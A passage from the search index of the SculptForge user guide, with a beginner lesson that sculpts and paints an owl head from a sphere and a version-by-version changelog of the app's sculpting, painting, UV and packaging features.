hold Ctrl to mask. The palettes have the names you expect (Alpha, Brush, Stroke, Tool, Transform...), the Tool palette holds the Parts, Masking and Face Groups sub-palettes, B opens the brush pop-up with the same letter keys (B, S, T picks Standard), , opens the Library and Ctrl+Shift+I stores your interface, and S U I O, Space, Ctrl+W and the mask keys do what your hands expect with the Classic sculpting keys on (Edit > Preferences > Input). Quick tour for experienced sculptors lists what is the same, what differs and every shortcut side by side; the Glossary explains SculptForge's terms."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"how-this-guide-is-organised","h":"How this guide is organised","t":"Getting started: installing (with Windows notes), the interface, navigating the view and troubleshooting. Sculpting: brushes, Brush Lab, masking, face groups, Parts, vertex paint, layers and mesh operations. AI and capture: generating models from images and text, and Gaussian splats. Files and pipelines: exporting, projects, scripting and studio deployment. Reference: keyboard and mouse, troubleshooting and the glossary. Inside SculptForge, Help > User Guide opens this guide in its own window with a table of contents, search and links between chapters. Two other kinds of help are always a keystroke away: Hold Ctrl and point at any button, slider or tile to see what it does, its shortcut and the script command behind it. Press F1 for the Controls sheet (every shortcut and mouse gesture) or F3 to search for any command by name."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"getting-help-and-reporting-problems","h":"Getting help and reporting problems","t":"Help > Report a problem opens the issue tracker on GitHub (github.com/islandmed/SculptForge/issues). The form asks for your hardware: operating system, CPU and RAM, graphics card and driver, and your tablet and its driver if you use one. Add what you did just before the problem; see Troubleshooting and FAQ for what else helps. Help > Website & documentation opens the SculptForge website. For questions, tips and showing your work, Help > Join the Discord... opens the invite to the official SculptForge Discord in your browser. Bugs still go to the issue tracker, so they can be tracked and fixed."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"see-also","h":"See also","t":"Installing SculptForge The interface Glossary"},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"","h":"Your first sculpt in 10 minutes","t":"Never sculpted before? In about ten minutes this lesson turns the default sphere into a cute owl head: ear tufts, a heart-shaped face, big amber eyes under stern brows and a little orange beak. It ends with a render you can share. You only need the built-in brushes, a mouse (a pen tablet is nicer, but not required) and these twelve steps. The finished owl The lesson uses the default look: the SculptForge layout, with the menus File, Edit, Sculpt, Paint, Mesh, View, Render, Help along the top, a tool shelf under them, the brushes along the bottom and the Tool panel on the right. If you switched to the Classic layout, the Classic layout notes say where things are there. Every step can be undone with Ctrl+Z, so experiment freely. Each brush remembers its own size. To set it, hold the cursor over the canvas, press S, type the number the step gives and press Enter (or drag the slider that appears). [ and ] make it smaller and bigger. Tip: Help > Your first sculpt (10 min) opens this lesson inside SculptForge any time; Shift+F1 hides it and shows it again where you left off."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"1-start-with-a-sphere","h":"1. Start with a sphere","t":"Goal: a fresh sphere, seen from the front. Press Ctrl+N (File > New Sphere). Press F to frame it. To look around: drag on the empty background to rotate, Alt + drag on the background to move the view, scroll to zoom. Press F again whenever you lose it. Check that X is lit on the tool shelf: symmetry is on, so everything you do on one side happens on the other. The default sphere in the SculptForge layout Tip: right-drag anywhere rotates the view too, even over the model. See Navigating the view."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"2-pull-up-the-ear-tufts","h":"2. Pull up the ear tufts","t":"Goal: two pointed tufts on top of the head. Pick Move: press 4, or click Move on the bottom shelf. Set its size to 110. Start on the top of the sphere, a little left of the middle, and drag up and out. Symmetry pulls the right tuft. Two ear tufts pulled up with Move Tip: if the view turns instead, you started on the background. Undo and start the drag a little further inside the sphere."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"3-dig-the-face","h":"3. Dig the face","t":"Goal: two round hollows, the owl's face discs. Pick Clay: press 2. Set its size to 120. Hold Alt and click four times where the left eye goes, a little left of the middle and halfway down. With Alt, Clay digs in instead of building up. Two face discs dug with Alt+Clay Tip: a click is one dab of the brush. Several clicks in one place build up (or dig) more."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"4-shape-the-beak","h":"4. Shape the beak","t":"Goal: a small pointed beak between the eyes. Pick Inflate: press 5. Set its size to 30 and click three times on the middle line, just below the face discs: a bump. Pick Move (4), size 30. Drag from the bump a short way down: it points. Pick Smooth (3), size 24, and drag once down the beak to tidy it. The beak Tip: hold Shift and drag to smooth with any brush, whenever a stroke leaves a lump."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"5-divide-three-times","h":"5. Divide three times","t":"Goal: enough polygons for crisp eyes and colours. Press Ctrl+D three times (Tool > Geometry > Divide). Each Divide makes four polygons out of every one and smooths the shape: about 5 million triangles now. Divided three times: the same shape, smoother Tip: sculptors block out the big shapes on a light mesh, then divide for details. Shift+D and D step down and up the levels. See Subdivision levels."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"6-add-the-eyes","h":"6. Add the eyes","t":"Goal: big round eyeballs in the face discs. Pick Inflate (5), size 52. Click three times in the middle of the left face disc. Symmetry adds the right eye. Eyes inflated in the face discs Tip: Inflate swells the surface along its normals, so dabs make round, even bulges."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"7-give-it-brows","h":"7. Give it brows","t":"Goal: a V of brows that gives the owl its look. Pick Clay (2), size 30. Drag twice from between the eyes up and out over the left eye. Brows built up with Clay Tip: the angle of the brows sets the mood: up and out for a stern owl, flatter for a sleepy one."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"8-colour-it-brown","h":"8. Colour it brown","t":"Goal: warm brown feathers everywhere. Open Paint. In Vertex Paint & Color, pick a warm brown in the colour wheel and click Fill. The owl filled brown"},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"9-paint-the-face","h":"9. Paint the face","t":"Goal: soft cream face discs. Press P (or click Paint on the tool shelf): the brush now paints colour without changing the shape. Set its size to 100. Make the edge soft: with the cursor over the canvas press O (Falloff), type 0 and press Enter. Pick a cream colour and click twice on the left face disc. Cream face discs Tip: a soft edge blends one colour into the next, like feathers."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"10-paint-the-eyes","h":"10. Paint the eyes","t":"Goal: amber eyes with black pupils and a glint. Give the brush a hard edge: O, type -100, Enter. Size 44, amber: click once in the middle of the left eye. Size 24, black: click once in the same spot for the pupil. Size 8, white: click once at the top left of the pupil for the glint. Amber eyes, pupils and glints Tip: C over the model picks up the colour under the cursor, and Alt paints back towards white. See Vertex Paint."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"11-paint-the-beak-and-tufts","h":"11. Paint the beak and tufts","t":"Goal: an orange beak and darker tuft tips. Size 16, orange: drag down the beak, twice. Soft edge again (O, 0, Enter), size 70, dark brown: click twice on the tip of the left tuft. Press P again to go back to sculpting. Beak and tufts painted"},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"12-shade-it-and-save-a-render","h":"12. Shade it and save a render","t":"Goal: a picture of your sculpt to share. Press M over the canvas and click White: a clean material that shows your colours. Open Render > Materials and click PBR under Viewport Shading: soft studio light with gentle reflections. Turn the view to a three-quarter angle, a little from above, and press F. Click Save Render at the bottom of Render > Materials. The status bar names the picture (twice the size of the view); find it under Library > Image. Size and the shape buttons (1:1, 16:9, 9:16, 4:3) below it make a bigger or differently shaped picture, as a PNG or a JPG. Light, above it, turns the light around the model. Press Ctrl+S to save the project. Render > Materials with PBR shading and Save Render Well done: that's a sculpt, painted and rendered."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"whats-next","h":"What's next","t":"Share it in #show-your-sculpts on the SculptForge Discord. We'd love to see it. Try every brush and the keys that change them: Sculpting and brushes. Masks by brush, lasso, rectangle and cavity: Masking. Paint layers, cavity paint and Lit Sphere materials: Vertex Paint and materials. Find your way around the menus and shelves: The interface."},{"p":"whats-new.html","c":"What's new","a":"","h":"What's new","t":"What changed in each version of SculptForge, newest first. The first time you start a new version, a window shows its main features, each with a Try it button; Help > What's New opens it again. Below are the last three versions in full, then the older ones in groups. Every detail is in the changelog."},{"p":"whats-new.html","c":"What's new","a":"version-01011","h":"Version 0.10.11","t":"Update channel: Preferences > Updates > Update channel picks Stable (finished releases, the default) or Preview (betas), which also offers the betas of the next version, a couple of weeks before it ships. A beta says so in the title bar and About (\"0.11.0 Beta 1\"). Problems in a beta go to the Discord's #bug-reports. High-DPI laptops: on a Windows laptop at 150-200 % scaling the window opens inside the screen at a size the interface fits, and nothing runs past its edges. Right tray in every look: Forge Terminal, Phosphor and Blueprint open the right tray on 1280 px screens, as Classic does. QuickMenu: square thumbnails and the look's own colours. Faster Voxel Remesh: Tool > Remesh > Voxel Remesh is about 3-4 times faster (a 500,000-triangle sculpt at the default resolution in about a third of a second) and runs in the background with a progress bar and Cancel, so the app never freezes while it works. Our own names, everywhere: the keymap is now Classic sculpting keys with the Classic layout, the exchange menu is File > Bridge (Send, Receive, Import / Export Bridge file), and the brushes are stored as Sharp Crease, Clay Block and Tendril. Older projects, brush files, hotkeys, shelves and radial menus load as before."},{"p":"whats-new.html","c":"What's new","a":"version-01010","h":"Version 0.10.10","t":"Shapes in the stroke popup: press G and pick Mask Pen, Lasso or Rect, or Cut Line, Lasso, Rect or Polyline. A plain drag then masks or cuts with that shape, no Ctrl or Ctrl+Shift held (with a mask shape on, Ctrl unmasks). Pick it again to turn it off. Background jobs keep your Part: a Quad Remesh, Voxel Remesh, Auto UV or Unwrap that finishes after you picked another Part puts its result on its own Part; the Part you picked stays active. SpaceMouse detection (#104): more 3Dconnexion devices are recognised (by name, also over Bluetooth), and Edit Preferences > Input > SpaceMouse lists every controller SculptForge sees, says when another program (3DxWare, spacenavd) holds the device, and has Copy device report for bug reports. Also new since 0.10.9 (missing from its notes): the brush ring is a true circle lying on the surface, symmetry copies show as dots, the crosshair stays while you turn the view, and Preferences > Cursor > Hide ring while stroking leaves only the dot while you sculpt (#88); drag empty panel space, or middle-drag anywhere in a panel, to scroll it with a pen (#100); Neutral is the default look for new installs; Look > Outlines (#98); the Strokes ring on J. Close Holes: Tool > Geometry > Close Holes caps every open boundary of a Part with a patch that follows the curve of the surface around it. Clip: Tool > Cut > Clip presses everything on one side of a line, or outside a lasso or rectangle, flat onto the shape. Nothing is removed. Use it for hard-surface planes and clean silhouettes. X-Ray: the X-Ray button next to Solo shows the active Part through the others. It is also in View. Light: Render > Materials > Light turns the light around the model with a small pad, and sets its intensity and ambient light. View resolution: View or Preferences > Performance draws the 3D view at 75% or 50% for slow GPUs. Save Render sizes (up to 4096 px), shapes (1:1, 16:9, 9:16, 4:3) and JPG. Membership card: a cleaner look, with a calm warm light instead of the sculpt picture, and the perks now say it plainly: members vote on what we build next (#feature-vote on Discord; anyone can suggest in #ideas)."},{"p":"whats-new.html","c":"What's new","a":"version-0109","h":"Version 0.10.9","t":"Each brush keeps its own settings: Draw Size, Intensity, Falloff, RGB Intensity, stroke and alpha follow the brush, custom and Community brushes included. Brush > Save Brush Settings keeps them for the next start, Reset Brush to Default puts back the shipped values, and Preferences > Input > Share size and intensity across brushes keeps the old way (#78). See Sculpting. Alpha options (Alpha palette): Follow stroke direction turns the alpha along the stroke, smoothed as Blender's Rake does; Angle and Angle jitter turn it by a fixed or a random amount; Tile repeats it inside the brush. They work with custom and Community brushes too, and each brush keeps its own (#76). See Alpha options. Blender style: Alt+drag masks on the model and Ctrl+Alt+drag unmasks, as in Blender 5.1 and later; beside the model Alt+drag still turns the view. Preferences > Input > Emulate 3 Button Mouse makes Alt+drag turn the view everywhere. Shift+F now sets the brush's Intensity, not Smooth's (#77). View > Lock camera (Shift+L): drags that start beside the model sculpt instead of turning the view, and the status bar shows CAMERA LOCKED while it is on (#62). Tablets: plug a tablet in while SculptForge runs and it just works (\"Tablet connected\" in the status bar), also through Wacom Bridge. On Windows, pressure works with the Wacom driver's Use Windows Ink on or off. Preferences > Input shows whether pressure is detected, with a troubleshooting link. The view no longer jumps when the pen comes back into range, and the active Part changes only with Alt+click on the keyboard; the status bar names the new Part. See Troubleshooting. Smaller (or larger) corner axes: Draw > Camera > Gizmo size sets Small, Medium or Large (Navigation). View Figure: turn it on beside Axes for a small head in the corner that turns with the view; click it to snap to the nearest side. Starter meshes: start a sculpt from a human head with eye and mouth loops, a bust, a full body in A-pose, a hand, a foot, an ear, an eye, a stylised head, a creature head, a torso, or a bevelled box, cylinder, capsule or ring, all clean quads at life size with subdivision levels ready. File > New from Starter Mesh, the Library's Tool > Starter meshes, or Start from a head in the welcome. See Projects. Your first sculpt in 10 minutes: a step-by-step lesson for people who have never sculpted. Turn the default sphere into a cute owl head with ear tufts, big amber eyes and a little beak, using Move, Clay, Inflate and Smooth, Vertex Paint and PBR shading, and save a render to share. Start it from the welcome's Start the 10-minute lesson button or Help > Your first sculpt (10 min). See Your first sculpt. Save Render (Render > Materials): the view without the interface, at twice its size, as a PNG in your Library (Library > Image). A new What's New: after an update, a window shows the main features as cards with a picture, one line and a Try it button that opens the feature (switch the look, select the brush, open the membership card...). Help > What's New opens it again; Esc closes it. This chapter shows the last three versions in full and folds the older ones into short groups, on the website too. Image to 3D with no setup: the free default is now Hunyuan3D 2.1, which needs no token. TRELLIS.2 (\"Best detail\") still needs a free Hugging Face token (Preferences > AI); without one, Hunyuan3D 2.1 runs instead and the status line tells you. Your own model choice is kept. See Image and text to 3D. Generated models arrive as clean quads: Quad Remesh is now the default, with one subdivision level holding the detail, so you can sculpt and subdivide straight away. Voxel remesh and Off are still in Remesh. Calm, clear hover: buttons, menus and shelves brighten a little as you point at them, tiles lift a little, sliders show their exact value, and the keyboard focus gets a ring as strong as your Outlines setting. Prefer less movement? Turn on Preferences > Interface > Reduce motion (Interface). Picker thumbnails on top"},{"p":"whats-new.html","c":"What's new","a":"version-0108","h":"Version 0.10.8","t":"Tablets in mouse mode work again: on some Windows tablets with Mouse mode on (Preferences > Tablet) the brush stopped following the pen in 0.10.7. When the system can't say where its cursor is, the pen now moves the brush by how far it moves, from where it was (#72)."},{"p":"whats-new.html","c":"What's new","a":"version-0107","h":"Version 0.10.7","t":"A clearer membership card: the three memberships side by side with what each one gets you, in your look's colours. Maybe later now hides it for 30 days. New memberships: Supporters get the credits (in the app and on the website), the monthly pack and a vote; Insiders also get daily drops and preview builds about a week early; Studio covers the whole company with a custom studio build (Founding Studio: the first 10 studios lock in $150 a month). Every release stays free for everyone; bug-fix and security releases go out to everyone the same day. Full alphas on custom brushes: at Focal Shift -100, Clay Slab and the other custom and Community brushes now show the whole alpha to its corners, as the built-in brushes do (#75). A new look: new installs start in Forge Terminal with the Tokyo Night colours and the SculptForge layout: menus by task (File, Edit, Sculpt, Paint, Mesh, View, Render, Help) holding every palette, a status bar and a one-row tool shelf. If you are updating, nothing changes until you say so: a card offers Try it or Keep my layout. Experienced sculptor? Preferences > Interface > Look > Classic layout (or the button in the welcome) brings back the palette bar and the two-row shelf. Six more colour schemes, Match my desktop theme, Phosphor, Blueprint and the Classic look are there too. See The interface. Native Wayland on Linux: every Linux package opens without XWayland, stays sharp at fractional scales and reads pen pressure through tablet-v2. The RHEL and Rocky builds now include libdecor (title bars on GNOME Wayland). See Wayland and X11. Benchmark your machine (Help > Benchmark, or sculptforge --benchmark standard-15m): a procedural 15 or 33 million triangle head sculpted with Clay at 25, 60 and 120 px, Move, Smooth and a 240 px brush, reporting frame times (p50, p95, p99), stroke lag, the worst stall and memory. See Performance."},{"p":"whats-new.html","c":"What's new","a":"version-0106","h":"Version 0.10.6","t":"PBR viewport (Material > Viewport Shading > PBR): see the texture's material as a game engine shows it, lit by an environment: Studio, Photo Studio, Small Studio or Outdoor Sky, with exposure, rotation, the environment behind the model and a choice of tone map. Painted height and normals catch the light. It stays as fast as Lit Sphere on a 20-million-triangle Part. See Material painting. Fill layers (Tool > Paint Layers > + Fill Layer): lay a material over the whole Part through a mask of effects (edge wear, dirt, gradient, thickness, light direction, 3D noise, a painted mask, levels, blur) instead of painting it by hand. Change it any time. See Fill layers. Wear that follows the sculpt: Fill layers read the Part's Mesh Maps (occlusion, curvature, thickness and more), and after each stroke only the part of the maps near the stroke is baked again in the background, so chipped paint and dirt move with the form while you sculpt. Material Recipes: Worn Metal, Painted Edges, Dirt and Dust and Rusted Iron in one click, and your own saved as small files. Packs and macros (File > Install Pack..., Library > Packs): install a .sfpack of brushes, alphas, Lit Spheres, Material Recipes, VDMs, keymaps, pie menus and macros after a review that shows exactly what's inside, its license and its author. Switch packs off, remove them, or make your own with New Pack. Record the commands you run as a macro, edit it as plain text, and run it from F3, a key or a pie menu as one undo step. Packs are data only and macros only run SculptForge's own commands; --no-packs starts without any pack. See Packs and macros. More maps from Tool > Bake: curvature, thickness, position and ID; bake a Part's top subdivision level (or micro level) onto its lowest level without a second Part; UDIM tiles bake as one set of files per tile. See Baking. Forge Spheres with the pointer alone (#8): Drag places child (or Ctrl while you drag) moves a new sphere away from its parent in one drag; Delete Selected, Insert Between and Set as Root work on the sphere you last clicked, and a right click on a sphere opens a menu with the same. See Forge Spheres. Maya zoom (#32): in the Maya input style Alt+right drag now zooms with a sideways drag, as Maya's own dolly (right zooms in). To keep zooming up and down as before, choose Preferences > Input > Zoom drag > Up and down. Invert zoom turns any zoom drag around; Ctrl+Alt+Shift erases the mask. See Maya keys. Move along the normal (from the discussions): Move, Tendril, Elastic Tendril and KelvinGrab started with Alt held pull the surface straight out of itself (or push it straight in) instead of across the screen. See Sculpting. Polish, Relax, Smooth and Balloon (from the discussions): Tool > Deformation works on the whole Part by an amount: Polish flattens fine noise and keeps edges, Relax evens out the spacing, Smooth can keep the volume, and Balloon fills the form out. The mask holds what it covers; one undo step each. See Sculpting. Smooth without remeshing (from the discussions): Smooth remesh in Draw > Dynamic topology sets how much Shift-smoothing changes the topology, down to Smooth only. See Dynamic topology. Connected only and View falloff (from the discussions): brush options that keep a stroke to the piece under the cursor (the other leg, the next finger stay put) or reach through the model along the view, as Blender's proportional editing. See Sculpting. The SculptForge Discord (Help > Join the Discord...): the official community, for questions, tips and work in progress. It is also on the support card, in the welcome note and on the website. Bugs still go to Help > Report a problem (GitHub issues). Backface culling (#68, Tool > Display): don't draw the back faces of the model, for speed on open meshes and to see through their openings. Brushes then work only on what you see. Off by default. A crosshair over the view (#73): the pointer is a crosshair where brushes act and the arrow over the panels. Preferences > Interfac"},{"p":"whats-new.html","c":"What's new","a":"version-0105","h":"Version 0.10.5","t":"Selection sets (Tool > Selection Sets): store as many named snapshots of a Part's mask, face groups, visibility, vertex paint, UVs and shape as you like, and restore them at any subdivision level, not only the one they were stored at. Combine two sets (union, intersect, subtract), restore one onto the current mask or visibility the same way, or take a quick set from the visible faces. Every step is one undo step, and the sets are saved with the project. See Selection sets. Morph brush and Morph to Set: a set with its shape is a morph target. The new Morph brush pulls the surface back toward it (Alt pushes away), and Morph to Set blends the whole Part toward it by any amount, within the mask, at any subdivision level. Sets for pipelines: selection_set_* commands for scripts, sculptforge-cli and the AI assistant, doc.selection_set() / doc.set_selection_set() in Python, .sfsets files to move sets between Parts and scenes, and USD exports that carry them as GeomSubsets and primvars (read back on import). UV Editor (Tool > Texture Map > UV Editor, Alt+U): the Part's UVs flat over the UDIM tiles, drawn by the graphics card so a million triangles stay smooth. Draw seams on the model with the Seam Tool (or take them from face groups, island borders or sharp edges), then Unwrap: Least Stretch, Conformal, By Face Groups, Planar, Unfold Islands or Auto Seams, with closed and tangled pieces cut for you. Pack into one tile or across UDIM tiles, Set and Match texel density, lay islands into trim sheet strips, and select vertices, edges, faces or islands (in the view or on the model) to move, rotate, scale, pin, weld, split, straighten and flip them. The model shows stretch, texel density, islands and a checker live while you edit, and a painted texture moves with every change so the model keeps its look. Every step is one undo step and a uv_* command for scripts. See UV Editor. Fixed: the viewport on some Windows PCs (#29): on displays whose window uses another colour format (seen with NVIDIA and high-resolution screens) the model never appeared and the cursor left trails. The view now reaches the window on every format, and falls back to drawing directly if a driver still refuses. Features use SculptForge's own names (Parts, Forge Spheres, Vertex Paint, Face Groups, Library, Lit Spheres, Quad Remesh, Bridge, Snapshot...); the command palette finds them by what they do. See Quick tour for experienced sculptors. New installs start with the SculptForge keys, and the first start asks what you are coming from to pick the key style. Your saved style is kept; the Classic sculpting keys are Classic in Preferences > Input. See Keyboard and mouse."},{"p":"whats-new.html","c":"What's new","a":"from-your-requests-on-github","h":"From your requests on GitHub","t":"Start strokes off the model (#62): an option in Preferences > Input, off by default, and Shift+L to turn it on and off. With it on, a left-drag that starts on the background sculpts once it reaches the model instead of turning the view. See Navigation. Radial and local symmetry (#63): R in Transform > Symmetry (and on the top shelf) repeats every stroke around the X, Y or Z axis, 2 to 64 times (Radial Count), together with the X / Y / Z mirrors. Every brush, mask, vertex paint and texture stroke, the mask and select shapes, Dynamic Topology and Insert follow it, and the brush cursor shows on every copy. Local puts the planes and the axis through the active Part's centre. Saved with the project and scriptable (radial, radial_axis, local). See Sculpting. The Sculpt Timeline is at the top of the viewport (#63), away from the brushes on the bottom shelf. Preferences > Interface > Timeline position puts it back at the bottom; Store Config keeps the choice. See Sculpt Timeline."},{"p":"whats-new.html","c":"What's new","a":"from-your-requests-on-github-1","h":"From your requests on GitHub","t":"Insert your own mesh (#34): Append > Insert on the model now takes a copy of another Part or an .obj, .ply or .glb file, placed, sized and turned by the drag like the shapes. See Parts. Keep Masked for Voxel Remesh, Decimate and Quad Remesh (#43): the masked part keeps its triangles and detail exactly; only the rest is rebuilt and joined to it. See Geometry. Hold Space and drag to move the camera (#43): an option in Preferences > Input, off by default. See Navigation. Triple-click another Part in the viewport to select and frame it (#43). Twelve new alphas (Pores, Cracks, Scales, Rivets, Stitches, Fabric Weave, Bark, Rock Strata, Wrinkles, Skin Folds, Hair Strands, Dot Grid) and six new VDM brushes (Rivet, Stitches, Skin Fold, Wrinkle Line, Crack, Rock Ledge), with thumbnails in the Library (#43). See Sculpting. Mask from the mesh border (#61): Tool > Masking > By border masks open edges (and face group borders), so sculpting leaves them in place. See Masking. SculptForge in Spanish (#44): Preferences > Interface > Language > Español. Maya bridge (#42): File > Maya and a SculptForge shelf for Maya swap meshes through a folder you pick: no connections, nothing run. See Working with Maya. Radial (pie) menus (#45): hold T (brushes) or Y (masking), flick and let go; make your own in Preferences > Input > Radial Menus. See Sculpting. Falloff works with alphas (#60): -100 shows the whole alpha, 0 rounds it off, +100 leaves a soft point (alpha brushes are softer at the default 0 than before; set -100 for the old crisp look). Select Rectangle and Select Lasso follow X / Y / Z symmetry, like the mask versions (#51)."},{"p":"whats-new.html","c":"What's new","a":"become-an-insider","h":"Become an Insider","t":"SculptForge stays free for everyone. Every release stays free for everyone; bug-fix and security releases go out to everyone the same day. Help > Support SculptForge opens the page to join. When SculptForge starts for the first time, after an update, and otherwise at most once a week, a card shows the ways to support it: Supporter, Insider and Studio memberships and the one-time Supporter, each opening its checkout page in your browser. Maybe later, Esc or a click outside closes it; I'm already a supporter hides it for good, and Preferences > Support turns it off. It never shows while you work, and nothing about you is sent anywhere."},{"p":"whats-new.html","c":"What's new","a":"from-your-requests-on-github-2","h":"From your requests on GitHub","t":"Alternate smooth (#40): start smoothing with Shift held, then let go of Shift while still pressing, and the rest of the stroke smooths without shrinking the form. Brush > Smooth keeps volume makes it the default. See Sculpting. Masking (#48, #51): Ctrl+drag on the background draws a mask rectangle; Lasso and Rectangle masks follow symmetry; a Ctrl+click with them blurs the mask. See Masking. Pen tablets in mouse mode (#54): Preferences > Tablet > Mouse mode (relative) stops the cursor jumping back when you lift the pen. Axis gizmo: click X, Y or Z to snap to that view (#43). Undo and Redo on the right shelf, Continuous in the stroke picker, Part thumbnails, and Insert on the model follows symmetry. See Navigation and Parts. macOS (#41): reopening in full screen keeps the menu bar and window buttons reachable."},{"p":"whats-new.html","c":"What's new","a":"support-sculptforge","h":"Support SculptForge","t":"SculptForge stays free for everyone. Help > Support SculptForge opens the page where you can become a member. Every release stays free for everyone; bug-fix and security releases go out to everyone the same day."},{"p":"whats-new.html","c":"What's new","a":"quad-remesh-2","h":"Quad Remesh 2","t":"A new quad remesher is now the default in Tool > Remesh and Tool > Geometry: two to fifty times fewer poles than before at the same accuracy, edge loops that follow the forms (round the mouth and nose), exact symmetry, and a quality report after each run. The previous method is still there as Legacy, and pieces with closed guide loops use it for now. See Quad retopology."},{"p":"whats-new.html","c":"What's new","a":"kelvinlet-brushes-and-capture-from-view","h":"Kelvinlet brushes and Capture from view","t":"KelvinGrab, KelvinTwist, KelvinScale and Elastic Tendril move the surface like elastic clay, with a Squash slider from rubber to firm clay; they're at their best below about 10 million triangles for now. Capture from view (Ctrl+Alt+C) turns any detail into an alpha or a vector displacement brush, and Detail Clone stamps it along a stroke. See Sculpting."},{"p":"whats-new.html","c":"What's new","a":"also","h":"Also","t":"Insert on the model (#34): the drag's direction also turns the shape about the surface. Security: video exports (timelapse, Benchmark) no longer pass the file name to ffmpeg in a way a crafted name could abuse. Update if you use them. The local API added in 0.10.1 is removed; SculptForge doesn't listen for other programs."},{"p":"whats-new.html","c":"What's new","a":"from-your-feedback-on-github","h":"From your feedback on GitHub","t":"Maya navigation (#32): Preferences > Input > Maya. Alt+left orbits, Alt+middle pans, Alt+right zooms. Focal length (#26): Draw > Camera, 15-300 mm with 35 / 50 / 85 / 135 presets, saved with the project. More primitives (#31): Cylinder, Cone, Torus, Capsule, Icosphere and Quad Sphere in Tool > Parts > Append, plus Insert on the model (#34): choose a shape, then drag on the surface to add it. Continuous in the Stroke palette keeps the brush working while you hold it still, and an X / Y / Z gizmo shows the view's direction (#31). Local API (#36): other programs on your computer (symmetry tools, scripts) can run commands in the open app. Off by default; see Scripting. The window opens where and how big you left it (#35), and a drawing problem on some graphics drivers that left trails in the viewport is fixed (#29)."},{"p":"whats-new.html","c":"What's new","a":"micro-levels-hundreds-of-millions-of-polygons","h":"Micro levels: hundreds of millions of polygons","t":"Tool > Geometry > Micro adds a micro-displacement level above your top subdivision level: up to about a billion sculptable triangles in under 2 GB of memory, drawn at the detail your screen can show. Move reshapes the base and the detail rides along. Bake it down or export displacement maps. See Micro levels."},{"p":"whats-new.html","c":"What's new","a":"material-painting-pbr","h":"Material painting (PBR)","t":"Paint roughness, metallic, normal, height, AO, emissive and opacity alongside colour, per paint layer, and export packed maps with presets for Unreal, Unity, glTF, Godot, Blender and USD. Texture brushes are much faster on dense meshes. See Material painting and Export presets."},{"p":"whats-new.html","c":"What's new","a":"sculpt-timeline-and-proof-mode","h":"Sculpt Timeline and proof mode","t":"Scrub back through every stroke, branch from any point, retune an old stroke's strength, and export a timelapse turntable. Help > Benchmark runs a scripted stroke on 5M to 33M triangles with a live readout and records a video and a report you can share. See Sculpt Timeline and Performance."},{"p":"whats-new.html","c":"What's new","a":"hardware-profile","h":"Hardware profile","t":"On first start SculptForge measures your computer for a second and picks settings for it (Laptop, Workstation or a safe mode); on battery it saves power. See Preferences > Performance."},{"p":"whats-new.html","c":"What's new","a":"also-new","h":"Also new","t":"The brush ring lies on the surface and follows its shape (#25). Preferences > Input > Cursor follows surface turns it off. Faster normals on big meshes. Predictive strokes (a GPU preview of each dab ahead of the solver) are in Preferences > Performance as an experiment. The status bar shows only the file name of what you open."},{"p":"whats-new.html","c":"What's new","a":"faster-big-brushes-on-dense-meshes","h":"Faster big brushes on dense meshes","t":"A large brush on a model of 20 million triangles or more keeps up much better: on a 21-million-triangle sphere with a 200-pixel brush, the brush now trails the pointer by half as far, a frame takes a third less time, the first dab appears in half the time, and lifting the pen no longer pauses for up to a second while waiting dabs are placed. See Performance."},{"p":"whats-new.html","c":"What's new","a":"right-click-for-the-quick-menu","h":"Right click for the Quick Menu","t":"A right click on the canvas opens the Quick Menu under the cursor (Space still does too). A right drag turns the view as before, and Preferences > Input > Right click opens the Quick Menu turns it off. See The Quick Menu."},{"p":"whats-new.html","c":"What's new","a":"fixes","h":"Fixes","t":"The orthographic view (Numpad 5) shades like the perspective one: Lit Spheres and the lights no longer look inside out. Dynamic topology with symmetry now adds detail on the mirrored side too when the model's two sides aren't built from mirrored polygons (a QRemeshed head, say): before, only the side under the brush got the new triangles. See Dynamic topology."},{"p":"whats-new.html","c":"What's new","a":"extract","h":"Extract","t":"Mask part of a Part and Tool > Parts > Extract turns it into a shell that fits the surface exactly: a helmet, a strap, a piece of armour. Set Thick, E Smt and Double while the preview shows, then Accept keeps it as a new Part (and Ctrl+Z takes it away again). TCorne and TBorder give the rim triangles instead of quads. See Extract a shell."},{"p":"whats-new.html","c":"What's new","a":"mirror-and-weld","h":"Mirror And Weld","t":"Tool > Geometry > Modify Topology > Mirror And Weld mirrors one side of a model onto the other across X, Y or Z and welds the seam into one watertight mesh, keeping face groups and vertex paint. Tool > Deformation > Mirror flips a Part. See Mirror And Weld."},{"p":"whats-new.html","c":"What's new","a":"a-flat-background","h":"A flat background","t":"Preferences > Display > Background (also in the Render palette) switches the view from the gradient to a flat colour you pick. Store Config keeps it, and projects keep their own. See The background."},{"p":"whats-new.html","c":"What's new","a":"flatpak","h":"Flatpak","t":"SculptForge comes as a Flatpak for x86_64 and ARM64 Linux: one file on the releases page that runs in Flatpak's sandbox on any distribution, installed with flatpak install --user ./SculptForge-linux-x86_64.flatpak. It can open projects and models anywhere in your home folder, works with pen tablets and a SpaceMouse, and the Blender bridge finds it by itself. See Installing SculptForge."},{"p":"whats-new.html","c":"What's new","a":"fixes-1","h":"Fixes","t":"Fast strokes on very dense meshes keep their curve. When one dab cost more than a frame, a quick arc came out as a straight line; now the dabs wait in a queue the app works through between frames, so it keeps reading the pointer. Based on a patch by @bribblej-web. See Performance. The AppImage has a PNG icon at its root, so AppImage managers (AppManager, Gear Lever) show SculptForge's icon when they add it to your menu. Divide (Ctrl+D) no longer crashes on models with a point where many polygons meet, such as a Blender cylinder with Triangle Fan caps of 22 or more sides or a UV sphere's poles. Generating 